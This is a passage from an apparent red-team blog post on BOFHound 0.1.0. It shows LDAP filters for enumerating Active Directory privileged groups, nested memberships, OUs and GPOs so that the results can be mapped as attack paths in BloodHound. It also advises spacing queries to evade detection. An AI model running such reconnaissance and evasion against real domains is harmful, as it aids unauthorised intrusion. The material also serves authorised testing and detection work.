13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>With this as a starting point towards our goal, we&#8217;ve got more objects to query. Looking at those SIDs, I know <code>S-1-5-32-544</code> is the Administrators group, and the SIDs ending in 512, 516, and 519 are Domain Controllers, Domain Admins, and Enterprise Admins. I&#8217;m not sure what the SID ending in 498 is off the top of my head and I also know the SID ending in 1111 belongs to an object which no longer exists in this domain. Accordingly, I&#8217;ll run some more LDAP queries to gather the objects in our result set:</p><pre><code><code>(sAMAccountName=Administrators)
(sAMAccountName=Domain Admins)
(sAMAccountName=Enterprise Admins)
(sAMAccountName=Domain Controllers)
(objectSid=S-1-5-21-3539700351-1165401899-3544196954-498)</code></code></pre><p>Rerun BOFHound, load the output into BloodHound and now the graph is looking more filled in. Additionally, if we now click on one of the group objects we can see the distinguished names of members:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!RkVA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fbe960d-22aa-4302-90f3-d0b992b03509_1317x634.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!RkVA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fbe960d-22aa-4302-90f3-d0b992b03509_1317x634.png 424w, https://substackcdn.com/image/fetch/$s_!RkVA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fbe960d-22aa-4302-90f3-d0b992b03509_1317x634.png 848w, https://substackcdn.com/image/fetch/$s_!RkVA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fbe960d-22aa-4302-90f3-d0b992b03509_1317x634.png 1272w, https://substackcdn.com/image/fetch/$s_!RkVA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fbe960d-22aa-4302-90f3-d0b992b03509_1317x634.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!RkVA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fbe960d-22aa-4302-90f3-d0b992b03509_1317x634.png" width="1317" height="634" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4fbe960d-22aa-4302-90f3-d0b992b03509_1317x634.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:634,&quot;width&quot;:1317,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!RkVA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fbe960d-22aa-4302-90f3-d0b992b03509_1317x634.png 424w, https://substackcdn.com/image/fetch/$s_!RkVA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fbe960d-22aa-4302-90f3-d0b992b03509_1317x634.png 848w, https://substackcdn.com/image/fetch/$s_!RkVA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fbe960d-22aa-4302-90f3-d0b992b03509_1317x634.png 1272w, https://substackcdn.com/image/fetch/$s_!RkVA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fbe960d-22aa-4302-90f3-d0b992b03509_1317x634.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>We can use this information to spider out further and start revealing <em>Unrolled Controllers</em>, or objects with nested group memberships granting nth-degree object control over the domain. My example domain isn&#8217;t heavily populated so member objects of these groups are minimal. In client environments, it&#8217;d likely be tedious to query each manually by distinguished name, but the good news is you have options. Option 1 is to query with a filter on the <code>memberOf</code> field, like this:</p><pre><code><code>(memberOf=CN=Administrators,CN=Builtin,DC=ez,DC=lab)</code></code></pre><p>This will return all <em>direct</em> members of the Administrators group. Option 2 is to query all <em>nested</em> members of the target group by using a specific LDAP OID, like this: </p><pre><code><code>(memberOf:1.2.840.113556.1.4.1941:CN=Administrators,CN=Builtin,DC=ez,DC=lab)</code></code></pre><p>Something to consider with both of those options is that the <code>memberOf</code> attribute is not indexed by Active Directory, meaning the query is likely to visit a high number of LDAP objects, even if few are ultimately relevant. This is one of the detection strategies mentioned in the original BOFHound post. In environments where this is a detection consideration, I&#8217;ll sometimes just use a bash loop or <code>xargs</code> to individually query the distinguished names with a small sleep between each query (if using the ldapsearch BOF, this probably requires some aggressor scripting). However, in my small lab I&#8217;ll just query the members of these groups by sAMAccountName:</p><pre><code><code>(sAMAccountName=Administrator)
(sAMAccountName=DC1$)</code></code></pre><p>Rerun BOFHound, reimport to BloodHound and we can now see the unrolled controllers related to the target domain:&#8205;</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Xi1x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547969d7-f80a-4d82-9482-0ee7e6278152_1326x575.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Xi1x!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547969d7-f80a-4d82-9482-0ee7e6278152_1326x575.png 424w, https://substackcdn.com/image/fetch/$s_!Xi1x!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547969d7-f80a-4d82-9482-0ee7e6278152_1326x575.png 848w, https://substackcdn.com/image/fetch/$s_!Xi1x!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547969d7-f80a-4d82-9482-0ee7e6278152_1326x575.png 1272w, https://substackcdn.com/image/fetch/$s_!Xi1x!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547969d7-f80a-4d82-9482-0ee7e6278152_1326x575.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Xi1x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547969d7-f80a-4d82-9482-0ee7e6278152_1326x575.png" width="1326" height="575" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/547969d7-f80a-4d82-9482-0ee7e6278152_1326x575.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:575,&quot;width&quot;:1326,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Xi1x!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547969d7-f80a-4d82-9482-0ee7e6278152_1326x575.png 424w, https://substackcdn.com/image/fetch/$s_!Xi1x!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547969d7-f80a-4d82-9482-0ee7e6278152_1326x575.png 848w, https://substackcdn.com/image/fetch/$s_!Xi1x!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547969d7-f80a-4d82-9482-0ee7e6278152_1326x575.png 1272w, https://substackcdn.com/image/fetch/$s_!Xi1x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547969d7-f80a-4d82-9482-0ee7e6278152_1326x575.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>At this point, you can rinse and repeat what we&#8217;ve done to keep enumerating layers of attack paths. We could start exploring any unknown objects that pop up with the <em>Transitive Controllers</em> query on the domain, but we&#8217;ve also parsed ACLs for several users and groups which we could start to hunt paths to individually.&#8205;</p><p>In practice, the approach demonstrated here - one or two LDAP queries followed by BOFHound and importing - is fairly slow, so you may choose to run larger sets of queries or more aggressive queries before each BOFHound pass. However, the approach here does demonstrate that as the operator, you are in total control over how granular you want AD reconnaissance to be, all while maintaining the ability to utilize BloodHound.</p><h4>GPO and OU Mapping</h4><p>All of that was possible in the original release so what&#8217;s new in BOFHound 0.1.0? In this release, we&#8217;ve added support for OU and GPO objects, as well as parsing out domain trust relationships (those can be queried with <code>&#8216;(objectClass=trustedDomain)&#8217;</code>). Targeted enumeration of OUs and linked GPOs will work similarly to the groups and group members from above. As an example, in my lab, I&#8217;ll query all OUs, but if you&#8217;re targeting some specific subset of machines (i.e., Citrix servers), you could try a query filter similar to <code>&#8216;(&amp;(objectClass=organizationalUnit)(|(ou=*citrix*)(ou=*ctx*)))&#8217;</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rJlT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F312c485a-9170-4587-b99f-1c724306bfdf_2120x666.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rJlT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F312c485a-9170-4587-b99f-1c724306bfdf_2120x666.png 424w, https://substackcdn.com/image/fetch/$s_!rJlT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F312c485a-9170-4587-b99f-1c724306bfdf_2120x666.png 848w, https://substackcdn.com/image/fetch/$s_!rJlT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F312c485a-9170-4587-b99f-1c724306bfdf_2120x666.png 1272w, https://substackcdn.com/image/fetch/$s_!rJlT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F312c485a-9170-4587-b99f-1c724306bfdf_2120x666.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rJlT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F312c485a-9170-4587-b99f-1c724306bfdf_2120x666.png" width="1456" height="457" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/312c485a-9170-4587-b99f-1c724306bfdf_2120x666.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:457,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!rJlT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F312c485a-9170-4587-b99f-1c724306bfdf_2120x666.png 424w, https://substackcdn.com/image/fetch/$s_!rJlT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F312c485a-9170-4587-b99f-1c724306bfdf_2120x666.png 848w, https://substackcdn.com/image/fetch/$s_!rJlT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F312c485a-9170-4587-b99f-1c724306bfdf_2120x666.png 1272w, https://substackcdn.com/image/fetch/$s_!rJlT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F312c485a-9170-4587-b99f-1c724306bfdf_2120x666.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The <em>gpLink</em> attribute contains the distinguished names of associated group policy objects. GPOs can also be linked directory to domain objects:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!XU9-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fef7dc875-0428-479b-9597-70a2ca24256a_2130x840.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!XU9-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fef7dc875-0428-479b-9597-70a2ca24256a_2130x840.png 424w, https://substackcdn.com/image/fetch/$s_!XU9-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fef7dc875-0428-479b-9597-70a2ca24256a_2130x840.png 848w, https://substackcdn.com/image/fetch/$s_!XU9-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fef7dc875-0428-479b-9597-70a2ca24256a_2130x840.png 1272w, https://substackcdn.com/image/fetch/$s_!XU9-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fef7dc875-0428-479b-9597-70a2ca24256a_2130x840.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!XU9-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fef7dc875-0428-479b-9597-70a2ca24256a_2130x840.png" width="1456" height="574" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ef7dc875-0428-479b-9597-70a2ca24256a_2130x840.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:574,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!XU9-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fef7dc875-0428-479b-9597-70a2ca24256a_2130x840.png 424w, https://substackcdn.com/image/fetch/$s_!XU9-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fef7dc875-0428-479b-9597-70a2ca24256a_2130x840.png 848w, https://substackcdn.com/image/fetch/$s_!XU9-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fef7dc875-0428-479b-9597-70a2ca24256a_2130x840.png 1272w, https://substackcdn.com/image/fetch/$s_!XU9-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fef7dc875-0428-479b-9597-70a2ca24256a_2130x840.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now we query for the GPOs linked to the specific OUs we&#8217;re interested in:</p><pre><code><code>&#8216;(cn={F08300B1-8BFF-4866-8524-14C03B50D991})&#8217;
&#8216;(cn={6AC1786C-016F-1102-945F-00C04fB984F9})&#8217;
...</code></code></pre><p>Run BOFHound to collect the data from our logs, upload to BloodHound and we can see how GPOs filter down to OUs and other objects.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Q3Cl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15b4cac1-f980-4f97-9410-0f61a027b51d_1690x180.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Q3Cl!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15b4cac1-f980-4f97-9410-0f61a027b51d_1690x180.png 424w, https://substackcdn.com/image/fetch/$s_!Q3Cl!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15b4cac1-f980-4f97-9410-0f61a027b51d_1690x180.png 848w, https://substackcdn.com/image/fetch/$s_!Q3Cl!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15b4cac1-f980-4f97-9410-0f61a027b51d_1690x180.png 1272w, https://substackcdn.com/image/fetch/$s_!Q3Cl!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15b4cac1-f980-4f97-9410-0f61a027b51d_1690x180.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Q3Cl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15b4cac1-f980-4f97-9410-0f61a027b51d_1690x180.png" width="1456" height="155" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/15b4cac1-f980-4f97-9410-0f61a027b51d_1690x180.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:155,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Q3Cl!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15b4cac1-f980-4f97-9410-0f61a027b51d_1690x180.png 424w, https://substackcdn.com/image/fetch/$s_!Q3Cl!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15b4cac1-f980-4f97-9410-0f61a027b51d_1690x180.png 848w, https://substackcdn.com/image/fetch/$s_!Q3Cl!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15b4cac1-f980-4f97-9410-0f61a027b51d_1690x180.png 1272w, https://substackcdn.com/image/fetch/$s_!Q3Cl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15b4cac1-f980-4f97-9410-0f61a027b51d_1690x180.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>If we&#8217;re hunting for modifiable GPOs, we can also view the inbound controllers and start down the ACL path again:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!T4st!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bd72969-4bdd-4127-9de2-0458dc248b8d_2838x1196.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!T4st!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bd72969-4bdd-4127-9de2-0458dc248b8d_2838x1196.png 424w, https://substackcdn.com/image/fetch/$s_!T4st!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bd72969-4bdd-4127-9de2-0458dc248b8d_2838x1196.png 848w, https://substackcdn.com/image/fetch/$s_!T4st!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bd72969-4bdd-4127-9de2-0458dc248b8d_2838x1196.png 1272w, https://substackcdn.com/image/fetch/$s_!T4st!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bd72969-4bdd-4127-9de2-0458dc248b8d_2838x1196.png 1456w" sizes="100vw"><img 